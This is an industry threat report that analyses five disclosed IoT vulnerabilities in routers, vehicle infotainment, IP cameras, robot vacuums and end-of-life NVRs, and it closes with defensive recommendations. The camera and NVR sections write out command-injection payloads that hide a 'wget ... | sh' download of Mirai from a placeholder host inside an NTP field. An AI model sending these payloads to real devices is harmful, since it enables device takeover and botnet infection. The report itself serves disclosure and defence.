Contents
Overview
In the first half of 2025, IoT security threats have grown more advanced and targeted. Rather than indiscriminate attacks, adversaries are focusing on consumer and enterprise devices alike — from home routers and robot vacuum cleaners to IP cameras in hospitals and infotainment systems in vehicles.
These aren’t mere device malfunctions; they represent systemic risks, including privacy violations and lateral movement within internal networks. Notably, End-of-Life (EOL) devices and misconfigured cloud-based services are driving persistent, scalable attack surfaces.
This report presents ZIEN Security Research Team’s analysis of the Top 5 most dangerous IoT vulnerabilities in H1 2025, shedding light on how they are exploited and what security teams must do to respond.
Key Executive Summary
Home IoT devices (routers, robot vacuum cleaners, home cameras) present growing threats of remote control, surveillance, and privacy breaches
Vehicle IVI systems face realistic threats of root privilege escalation and remote code execution
EOL devices expand security blind spots across homes and enterprises
Many IoT devices still fail to comply with basic security principles such as input validation and authentication/authorization management
Authentication bypasses and exploitation of real-time video streaming features are increasing in cloud-based services
*The CVE vulnerabilities listed below have already been disclosed. Patches have been released for items 1–4, while no patch is provided for item 5 (an EOL device).
Top 5 IoT Vulnerability Analysis
1. CVE-2024-0922 : Company A Router Remote Code Execution (RCE) Vulnerability
Severity : 9.8 (Critical, CVSS v3.1)
Vulnerability Overview :
Company A's router contains a flaw in the PPPoE (Point-to-Point Protocol over Ethernet) internet settings menu where user input values are not properly validated. Exploiting this, an attacker can send manipulated long-form data to disrupt router operations and execute malicious code.
Because this attack requires no login or authentication, it allows external attackers to easily compromise the router. Once exploited, they can monitor or manipulate all internet traffic on the network, potentially leading to identity theft or account compromise.
CVE Analysis :
The flaw lies in the /goform/QuickIndex configuration API, which handles user-entered PPPoE settings. It fails to sanitize overly long input strings in the PPPOEPassword field, allowing unbounded data to be copied into memory.
This results in a stack-based buffer overflow, where excessive input overwrites the stack and executes attacker-controlled shellcode—all triggered by a single unauthenticated HTTP POST request.
Attack Scenario :
The attacker sends a crafted POST request to the /goform/QuickIndex API
A long attack string in the PPPOEPassword parameter causes a buffer overflow
Malicious code is executed during memory corruption
The attacker gains full control of the router, enabling activities like web redirection or hidden traffic surveillance
2. CVE-2024-23929 : Company B Vehicle IVI System Remote File Creation Vulnerability
Severity: 8.0 (High, CVSS v3.1)
Vulnerability Overview :
The vehicle IVI system, used for music and navigation, fails to properly validate file paths when saving externally received files. This allows attackers to create unauthorized files or overwrite critical ones.
Malicious configuration files can lead to automatic execution of programs on vehicle startup. Successful attacks may result in UI distortion, system malfunction, or unauthorized access to vehicle subsystems.
CVE Analysis :
The vulnerability occurs when parsing responses from the Gracenote API, which supplies music metadata. If the attacker intercepts the vehicle’s network or provides a fake server, they can insert directory traversal strings (../../../) and inject malicious files.
Because the IVI system does not verify these paths, it saves malicious files in critical locations. On reboot, malicious programs run from USB with root privileges, granting full control over the system.
Attack Scenario :
The attacker sets up a rogue Wi-Fi network or intercepts the vehicle’s Wi-Fi
When the vehicle requests music information from an external server, the attacker sends a response so that the system receives manipulated data
This crafted response contains malicious files and storage paths that deviate from legitimate locations.
The vehicle system stores them without validation, overwriting existing configuration files
Upon reboot, malicious code executes via USB with full system privileges
3. CVE-2025-1316 : Company C IP Camera Remote Code Execution Vulnerability
Severity: 9.8 (Critical, CVSS v3.1)
Vulnerability Overview :
Company C's IP camera, which allows remote configuration, fails to validate user input, enabling unauthenticated command injection. Attackers can remotely execute arbitrary programs on the camera.
As a result, the camera may follow the attacker's instructions, leading to scenarios where they can secretly manipulate video recordings or streams, or use the camera as a hacking tool to launch attacks on other devices.
This vulnerability is particularly dangerous, as it has been actively exploited by IoT botnet malware like Mirai to infect IP cameras, demonstrating its potential for large-scale abuse.
CVE Analysis :
The vulnerability resides in the /camera-cgi/admin/param.cgi API. This endpoint, meant to receive time settings, also accepts system commands embedded in the input.
For example, when an attacker sends a request with commands inserted like below:
ipcamSource=NTP_serverName=ntp.server.com;wget http://malicious.site/mirai -O- | sh
The camera processes this entire string as if it were normal input while executing the command as follows:
ntpdate ntp.server.com;wget http://malicious.site/mirai -O- | sh
While the first part of this command is normal time synchronization, the attached wget and sh commands download and execute malicious code prepared by the attacker.
This puts the camera under complete remote control by the attacker, and it can be used as a pathway to secretly access other devices in the home or to attack other people's websites.
Attack Scenario :
Attacker accesses /camera-cgi/admin/param.cgi and injects malicious commands
The camera downloads and runs attacker-hosted scripts
It becomes remotely controllable, allowing surveillance or use as a DDoS node
4. CVE-2024-52327: Company D Robot Vacuum Cloud Service Authentication Bypass
Severity: 6.5 (Medium, CVSS v3.1)
Vulnerability Overview :
Company D’s robot vacuum cleaner offers live video streaming, secured by a PIN input.
However, this function actually only operates within the app (client), and the server or device doesn't properly verify PIN input. This allows attackers to use real-time streaming functionality with just account information or authentication tokens, without knowing the PIN.
This creates dangerous situations where attackers can secretly access cameras or microphones to spy on interiors.
CVE Analysis :
When a robot vacuum’s live streaming function is activated, the mobile app checks the pin_enabled and pin_hash values in local configuration files to determine whether a PIN input is required. However, this verification occurs solely on the client side. The server (API) and the device itself—both of which are critical to establishing the streaming session—do not perform any PIN validation.
This gap allows attackers to bypass the PIN mechanism entirely. By exploiting the absence of server-side enforcement, they can initiate WebRTC (Web Real-Time Communication) streaming sessions and gain unauthorized access to the vacuum’s camera and microphone—even without entering the correct PIN, or any PIN at all.
Attack Scenario :
The attacker infiltrates the victim’s network or exploits vulnerabilities in Company D’s app to steal account credentials or authentication tokens.
Using the stolen tokens, the attacker initiates a WebRTC streaming session request to the robot vacuum’s camera.
Although the app prompts the user to enter a PIN, neither the robot nor the cloud server properly validates the PIN.
As a result, the attacker can gain access to the streaming session without a valid PIN—or even without entering a PIN at all—allowing real-time access to the robot vacuum’s camera and microphone to eavesdrop on indoor video and audio.
5. CVE-2024-6047, CVE-2024-11120 : Company E EOL Device Command Injection Vulnerability
Severity: 9.8 (Critical, CVSS v3.1)
Vulnerability Overview :
Some security cameras and NVR devices by Company E have reached end-of-life (EOL) status and no longer receive security updates. Despite this, these devices still include functionality that receives configuration values from external sources. This feature lacks proper security controls, allowing unauthorized users to manipulate the devices without authentication.
With a single, simple web request, attackers can execute arbitrary commands on the devices. As a result, these vulnerabilities are actively exploited by malicious actors and widely used as tools in cyberattacks.
Compromised devices can be leveraged to launch attacks on external websites or serve as entry points to infiltrate other devices within enterprise or home networks—regardless of their original intended purpose.
CVE Analysis :
The flaw is in the /DateSetting.cgi API. Attackers insert commands after a seemingly legitimate NTP server address.
For example, they can send the following request:
szSrvIpAddr=time.windows.com;wget http://malicious.site/mirai -O- | sh
While appearing to be a simple address for time settings, the system internally executes the entire command as follows:
ntpdate time.windows.com;wget http://malicious.site/mirai -O- | sh
The ntpdate at the beginning operates normally, followed by commands that download and execute malicious programs from the attacker's server.
With no authentication required, the system executes these commands as an admin.
Attack Scenario :
The attacker finds Company E devices connected to the internet and identifies the /DateSetting.cgi address
They send malicious requests containing commands to this address
The device downloads and runs attacker code
Once compromised, the device falls under attacker control and is commonly used for internal infiltration or external DDoS attacks.
Industry Impact Analysis
Home IoT Market
The vulnerabilities discovered in Company A routers (CVE-2024-0922), Company D robot vacuum cleaners (CVE-2024-52327), and Company C IP cameras (CVE-2025-1316) clearly demonstrate how easily the security of internet-connected or smart devices commonly used in homes can be compromised.
These flaws can lead to situations where external attackers manipulate routers without authentication or spy on households through robot vacuum cameras. In particular, structural vulnerabilities that allow remote control of devices or unauthorized access to video streams without proper authentication pose a direct threat to user privacy.
☑️ The growing risk of privacy invasion and the use of home IoT as entry points for internal network breaches make it critical to:
Enhance user awareness
Introduce automatic security update mechanisms
Improve the security of default configurations
Realistic attack scenarios involving personal privacy breaches, home network infiltration, and phishing-linked exploits have now been demonstrated as technically and practically feasible.
Smart Mobility / Automotive Industry
The vulnerability in Company B’s In-Vehicle Infotainment (IVI) system (CVE-2024-23929) highlights how features designed to enhance the driver experience can unintentionally become security liabilities.
Attackers can exploit these systems to access and manipulate internal file systems or use them as stepping stones to the vehicle’s internal network.
☑️ Because IVI systems communicate with vehicle ECUs, their security design must integrate both hardware and software countermeasures—such as:
Network path separation
OTA integrity verification
Restrictions on debugging interface access
If successfully exploited, such vulnerabilities could lead to serious safety risks, including: driver confusion, unauthorized control of vehicle systems, and manipulated UI behavior.
Security Equipment Industry
Devices like Company E’s end-of-life (EOL) security cameras and access control systems (CVE-2024-6047, CVE-2024-11120), which are central to physical security infrastructure, are often left unattended after support ends.
Without the ability to apply security updates, these devices become persistent vulnerabilities, serving as backdoors for attackers to access internal networks.
☑️ Urgent improvements are needed in:
Lifecycle management for security devices
Prompt replacement of EOL hardware
Internal network segmentation
Implementation of access log analysis systems
These neglected systems can become initial footholds for enterprise network breaches and be exploited for external attacks such as DDoS.
ZIEN’s Security Recommendations
Strategy for Corporate Security Officers (CISOs)
IoT Asset Visibility and Lifecycle Management
Implement a risk-based asset management system by identifying all IoT devices deployed within the organization and classifying them based on their lifecycle status, particularly EOL indicators.
Advanced Network Separation Policies
Reinforce logical and physical isolation between IoT networks and internal information systems. Prevent direct communication between untrusted IoT devices and critical infrastructure by routing traffic through VLANs or DMZ environments.
Standards for Handling Unpatchable Devices
Establish formal policies for isolating or replacing devices that no longer receive security updates. Operate phased response processes to systematically reduce exposure to unpatchable vulnerabilities.
Technical Response Measures for Security Practitioners
Build Anomaly Detection Systems
Enhance log-based monitoring to detect suspicious activity, such as: configuration tampering, unauthorized streaming attempts, and abnormal API calls
Strengthen OTA and Authentication Logic Verification
Mitigate authentication bypass threats in cloud-connected devices by enforcing: Robust dual-authentication mechanisms between clients and servers, token expiration policies, and encryption best practices
Establish Logging and Forensic Systems
Centralize the collection of behavior logs from IoT devices, and establish a forensic response framework to support rapid investigation and mitigation during security incidents.
Conclusion
The IoT security trends observed in the first half of 2025 can be summarized by the phrase “expanded attack surface and insufficient fundamental security.” The neglect of End-of-Life (EOL) devices, cloud-connected products vulnerable to authentication bypass and remote code execution, as well as system APIs lacking proper input validation, continue to present easy targets for attackers. Notably, the scope of attacks is widening beyond consumer devices to include vehicles, enterprise information networks, and public infrastructure. Attackers actively leverage these vulnerabilities for botnet creation, internal network infiltration, and privacy violations.
In response, organizations must go beyond applying isolated security patches. It is essential to implement comprehensive IoT asset lifecycle management, strengthen network segmentation and policy-based controls, continuously verify OTA updates and authentication mechanisms, and establish automated vulnerability detection and response systems.
Through this report, the ZIEN Security Research Team aims to analyze industry-specific risks by focusing on high-risk IoT vulnerabilities discovered in the field and to propose practical security improvements. We will continue to closely monitor blind spots in IoT security and provide effective, actionable strategies to address emerging threats.
Related Terminology
EOL (End-of-Life): Devices no longer receiving functional or security updates
OTA (Over-The-Air) Update: Wireless delivery of firmware updates
Botnet: Network of malware-infected devices remotely controlled by attackers
RCE (Remote Code Execution): Execution of commands on a target device by a remote attacker
Directory Traversal: Path manipulation to access unauthorized files
Command Injection: Insertion of system commands into input that is executed by the application
Buffer Overflow: Exploiting oversized input to overwrite memory and execute arbitrary code
© 2025 ZIEN, Inc. All rights reserved.
This report is based on independent analysis and publicly disclosed CVE data by the ZIEN R&D Team.
